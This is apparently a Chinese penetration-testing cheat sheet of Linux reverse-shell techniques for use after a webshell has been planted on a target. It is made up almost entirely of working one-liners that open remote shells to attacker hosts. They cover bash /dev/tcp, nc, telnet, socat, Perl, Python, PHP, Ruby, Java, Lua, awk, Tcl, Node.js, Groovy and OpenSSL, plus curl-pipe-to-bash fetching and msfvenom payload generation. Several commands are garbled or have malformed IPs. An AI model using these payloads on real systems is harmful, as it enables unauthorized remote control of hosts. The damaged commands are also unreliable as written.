在渗透测试的过程中,在拿到webshell以后,如果目标主机是Windows主机,则是通过开3389端口在远程连接,如果目标主机是linux服务器,一般我们都会选择反弹shell来进行操作。在这里总结下反弹shell常见的几种姿势。

一、场景一:
linux 反弹shell的姿势-Avenue-le - 图1

我们已经拿下主机的一个webshell,我们想获取一个可以直接操作主机的虚拟终端,此时我们首先想到的是开启一个shell监听,这种场景比较简单,我们直接使用使用nc即可开启,如果没有nc我们也可以很轻松的直接下载安装一个,具体开启监听的命令如下。

1.1 安装netcat
这里需要注意一点默认的各个linux发行版本已经自带了netcat工具包,但是可能由于处于安全考虑原生版本的netcat带有可以直接发布与反弹本地shell的功能参数 -e这里都被阉割了,所以我们需要手动下载二进制安装包,自己动手丰衣足食了,具体过程如下。

netcat 下载地址:https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz # 第一步:下载二进制netc安装包:wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz

第二步:解压安装包:tar -xvzf netcat-0.7.1.tar.gz
# 第三步:编译安装 ./configure make make install make clean# 具体编译安装过程可以直接参见INSTALL安装说明文件内容…# 第四步:在当前目录下运行nc帮助

至此我们已经安装完成原生版本的 netcat工具,有了netcat -e参数,我们就可以将本地bash完整发布到外网

1.2 开启本地监听# 开启本地8080端口监听,并将本地的bash发布出去。root# nc -lvvp 8080 -t -e /bin/bash1.3 直接连接目标主机root@kali:~# nc 192.168.31.41 8080whoami rootw 22:57:36 up 1:24, 0 users, load average: 0.52, 0.58, 0.59USER TTY FROM LOGIN@ IDLE JCPU PCPU WHA

二、场景二
linux 反弹shell的姿势-Avenue-le - 图2

目标主机为一个内网主机,并没有公网IP地址,我们无法从外网发起对目标主机的远程连接,此时我们使用的方法是使用获取的webshell主动发起一个反弹的shell到外网,然后获取一个目标主机的shell终端控制环境。

0x01 Bash反弹
bash一句话shell反弹:个人感觉最好用的用的方法就是使用的方法就是使用bash结合重定向方法的一句话,具体命令如下。

1.1 方法一
攻击者主机上执行监听:
nc -lvvp port

目标主机上执行:
bash -i >& /dev/tcp/x.x.x.x/port 0>&1 #bash -i 打开一个交互的bash # >& 将标准错误输出重定向到标准输出 #/dev/tcp/x.x.x.x/port 意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口 # 0>&1 标准输入重定向到标准输出,实现你与反弹出来的shell的交互

注:/dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。

其实以上bash反弹一句完整的解读过程就是:
bash产生了一个交互环境与本地主机主动发起与目标主机8080端口建立的连接(即TCP 8080 会话连接)相结合,然后在重定向个tcp 8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境

inux shell下常用的文件描述符是:
1.标准输入 (stdin) :代码为 0 ,使用 < 或 << ;
2.标准输出 (stdout):代码为 1 ,使用 > 或 >> ;
3.标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>。
另外由于不同Linux发行版之间的差异,该命令在某些系统上可能并不适用。

1.2 方法二
exec 5<>/dev/tcp/x.x.x.x/4444;cat <&5 | while read line; do $line 2>&5 >&5; done
在使用这个进行shell反弹时,不能使用python获取一个标准的shell,需要使用nc再次反弹之后,使用python获取标准化输出。

1.3 方法三

1.4 方法四
/bin/bash -i > /dev/tcp/175.11.142.54/443 0<& 2>&1
此方法是把命令返回的结果输出在 nc 监听的端口

1.5 方法五
exec /bin/sh 0&0 2>&0

1.6 方法六

1.7 bash UDP 反弹
sh -i >& /dev/udp/175.11.142.54/443 0>&1 nc -u -lvp 443

0x02 telnet反弹

2.1 方法一
攻击者主机上打开两个终端分别执行监听:
nc -lvvp 4444nc -lvvp 5555

目标主机中执行:
telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555

监听两个端口分别用来输入和输出,其中x.x.x.x均为攻击者ip
反弹shell成功后,在监听4444端口的终端中执行命令可以在另一个终端中看到命令执行结果。

2.2 方法二

mknod a p; telnet 192.168.243.184 1234 0 a

2.3 方法三
rm f;mkfifo f;cat f|/bin/sh -i 2>&1|telnet 175.11.142.54 443 > f

2.4 方法四
rm -f x; mknod x p && telnet 175.11.142.54 443 0x

2.5 方法五
rm -f /tmp/p; mknod /tmp/p p && telnet 192.168.243.184 1234 0
a

0x03 nc(netcat)反弹

攻击者主机上执行监听命令
nc -lvvp port

目标主机上执行:
nc -e /bin/bash x.x.x.x port

如果目标主机linux发行版本没有 -e 参数,还有以下几种方式:

3.1 方法一:
rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc x.x.x.x 9999 >/tmp/f

3.2 方法二:
nc x.x.x.x 4444|/bin/bash|nc x.x.x.x 5555 #从4444端口获取到命令,bash 运行后将命令执行结果返回 5555 端口, 攻击者主机上也是打开两个终端分别执行监听。

3.3 方法三:
/bin/sh | nc x.x.x.x 4444 此方法是把命令返回的结果输出在 nc 监听的端口

3.4 方法四:
mkfifo /tmp/mayr; nc 192.168.243.176 4444 0/tmp/mayr 2>&1;

0x04 Socat 反弹:
Socat是Linux 下一个多功能的网络工具,名字来由是” Socket CAT”,因此可以看出它基于socket,能够折腾socket相关的无数事情 ,其功能与netcat类似,不过据说可以看做netcat的加强版,事实上的确也是如此,nc应急比较久没人维护了,确实显得有些陈旧了,我这里只简单的介绍下怎么使用它开启监听和反弹shell,其他详细内容可以参加见文末的参考学习。
有关socat二进制可执行文件,大家可以到这个链接下载:
https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat
4.1 方法一:
在攻击机监听端口 socat file:tty,raw,echo=0 TCP-L:443

靶机上运行socat反弹shellsocat tcp-connect:175.11.142.54:443 exec:”bash -li”,pty,stderr,setsid,sigint,sane

4.2 方法二:
./socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp:175.11.142.54:443

0x05 exec 反弹:
在攻击机监听端口 nc -lvvp 1234

0x06 perl 反弹:
Perl,一种功能丰富的计算机程序语言,运行在超过100种计算机平台上,适用广泛,从大型机到便携设备,从快速原型创建到大规模可扩展开发。

6.1 方法一:
在攻击机监听端口 nc -lvvp 1234

靶机上运行perl反弹shell perl -e ‘use Socket;$i=”192.168.243.176”;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’

6.2 方法二:
perl -MIO -e ‘$c=new IO::Socket::INET(PeerAddr,”192.168.243.176:1234”);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’

6.3 方法三:
perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”192.168.243.176:1234”);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’

0x07 Python 反弹:
IP v4
7.1 方法一:
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connec192.168.243.176”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

7.2 方法二:
export RHOST=”192.168.243.176”;export RPORT=1234;python -c ‘import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(“RHOST”),int(os.getenv(“RPORT”))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(“/bin/sh”)’

7.3 方法三:
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.243.176”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(“/bin/bash”)’

IP v6 反弹需要测试
python -c ‘import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect((“dead:beef:2::125c”,443,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn(“/bin/sh”);’

0x08 PHP 反弹:
PHP(全称:PHP:Hypertext Preprocessor,即”PHP:超文本预处理器”)是一种通用开源脚本语言。
8.1 方法一:
php -r ‘$sock=fsockopen(“192.168.243.190”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”);’

8.2 方法二 :
php -r ‘$s=fsockopen(“192.168.243.190”,1234);$proc=proc_open(“/bin/sh -i”, array(0=>$s, 1=>$s, 2=>$s),$pipes);’

8.3 方法三 :
php -r ‘$s=fsockopen(“192.168.243.190”,1234);shell_exec(“/bin/sh -i <&3 >&3 2>&3”);’

8.4 方法四 :
php -r ‘$s=fsockopen(“192.168.243.190”,1234);/bin/sh -i <&3 >&3 2>&3;’

8.5 方法五 :
php -r ‘$s=fsockopen(“192.168.243.190”,1234);system(“/bin/sh -i <&3 >&3 2>&3”);’

8.6 方法六 :
php -r ‘$s=fsockopen(“192.168.243.190”,1234);popen(“/bin/sh -i <&3 >&3 2>&3”, “r”);’

0x09 ruby 反弹:
9.1 方法一
ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(“x.x.x.x”,”5555”);while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’

9.2 方法二
perl -MIO -e ‘$c=new IO::Socket::INET(PeerAddr,”175.11.142.54:443”);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’

0x10 java 反弹
10.1 方法一
r = Runtime.getRuntime() p = r.exec([“/bin/bash”,”-c”,”exec 5<>/dev/tcp/175.11.142.54/443;cat <&5 | while read line; do \$line 2>&5 >&5; done”] as String[]) p.waitFor()

0x11 LUA 反弹

lua -e “require(‘socket’);require(‘os’);t=socket.tcp();t:connect(‘192.168.243.176’,’1234’);os.execute(‘/bin/sh -i <&3 >&3 2>&3’);”

0x12 whois反弹
whois -h 192.168.2.102 -p 4444 pwd //反弹的shell只能执行后面带的命令

0x13 curl反弹
Kali开启apache服务,把bash命令写入html文件,只要文本包含bash一句话即可。
curl 192.168.2.103/bash.html|bash
linux 反弹shell的姿势-Avenue-le - 图3

0x14 Openssl 反弹
计算机网络上,OpenSSL 是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份
利用 OpenSSL 反弹 shell 之前需要生成自签名证书

使用 OpenSSL 生成证书自签名证书
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
生成自签名证书时会提示输入证书信息,如果懒得填写可以一路回车

使用 OpenSSL 反弹加密 shell
假设我们从 A 主机反弹 shell 到 B 主机
首先需用利用上一步生成的自签名证书,在 A 主机上使用 OpenSSL 监听一个端口,在这里使用 1337 端口
命令为:
openssl s_server -quiet -key key.pem -cert cert.pem -port 1337

此时 OpenSSL 在 1337 端口上启动了一个 SSL/TLS server

这时在 B 主机进行反弹 shell 操作,命令为:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 172.16.1.174:1337 > /tmp/s; rm /tmp/s
这样就使用 OpenSSL 反弹了一个加密的 shell

0x15 Awk 反弹
awk是一种编程语言,用于在linux/unix下对文本和数据进行处理。数据可以来自标准输入、一个或多个文件,或其它命令的输出。它支持用户自定义 函数和动态正则表达式等先进功能,是linux/unix下的一个强大编程工具。
awk ‘BEGIN {s = “/inet/tcp/0/175.11.142.54/443”; while(42) { do{ printf “shell>” |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != “exit”) close(s); }}’ /dev/null

0x16 TCLsh 反弹
tclsh的是含有Tcl解释简单的壳体和可以读取它的标准输入或从文件Tcl命令,并评估它们。
echo ‘set s [socket 192.168.243.176 1234];while 42 { puts -nonewline $s “shell>”;flush $s;gets $s c;set e “exec $c”;if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;’ | tclsh

0x17 nodejs 反弹
查看目标系统是是否安装了nodejs
linux 反弹shell的姿势-Avenue-le - 图4

(function(){ var net = require(“net”), cp = require(“childprocess”), sh = cp.spawn(“/bin/sh”, []); var client = new net.Socket(); client.connect(1234, “192.168.192.243.176”, function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; // Prevents the Node.js application form crashing_})();

将上述代码保存js 文件
linux 反弹shell的姿势-Avenue-le - 图5

攻击者nc监听shell
nc -lvvp 1234

受害者执行js文件,或者curl 命令行攻击加载远程目标地址的js 代码并执行
nodejs shell.js or curl 192.168.159.128/shell.js | nodejs

可以看到shell成功反弹
linux 反弹shell的姿势-Avenue-le - 图6

0x18 groovy 反弹
Groovy是一种基于JVMJava虚拟机)的敏捷开发语言,它结合了PythonRubySmalltalk的许多强大的特性,Groovy 代码能够与 Java 代码很好地结合,也能用于扩展现有代码。由于其运行在 JVM 上的特性,Groovy也可以使用其他非Java语言编写的库。

利用方式如下:

攻击者nc监听shell
nc -lvvp 1234

受害者保存以下的代码为groovy后缀的文件
String host=”192.168.243.190”; int port=1234; String cmd=”/bin/bash”; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

运行反弹的groovy文件
groovy shell.groovy

0x19 Meterpreter Shell:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=175.11.142.54 LPORT=443 -f elf >reverse.elf

msfvenom -p linux/x86/shell_reverse_tcp LHOST=175.11.142.54 LPORT=443 -f elf >reverse.elf

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=”175.11.142.54” LPORT=443 -f elf > shell.elf

msfvenom -p java/jsp_shell_reverse_tcp LHOST=”175.11.142.54” LPORT=443 -f raw > shell.jsp

msfvenom -p java/jsp_shell_reverse_tcp LHOST=”175.11.142.54” LPORT=443 -f war > shell.war

msfvenom -p cmd/unix/reverse_python LHOST=”175.11.142.54” LPORT=443 -f raw > shell.py

msfvenom -p cmd/unix/reverse_bash LHOST=”175.11.142.54” LPORT=443 -f raw > shell.sh

msfvenom -p cmd/unix/reverse_perl LHOST=”175.11.142.54” LPORT=443 -f raw > shell.pl

使用python获取标准shell
直接在获取的废标准shell上直接运行一下python 一句话即可获取一个标准的shell。
# python -c “import pty;pty.spawn(‘/bin/bash’)”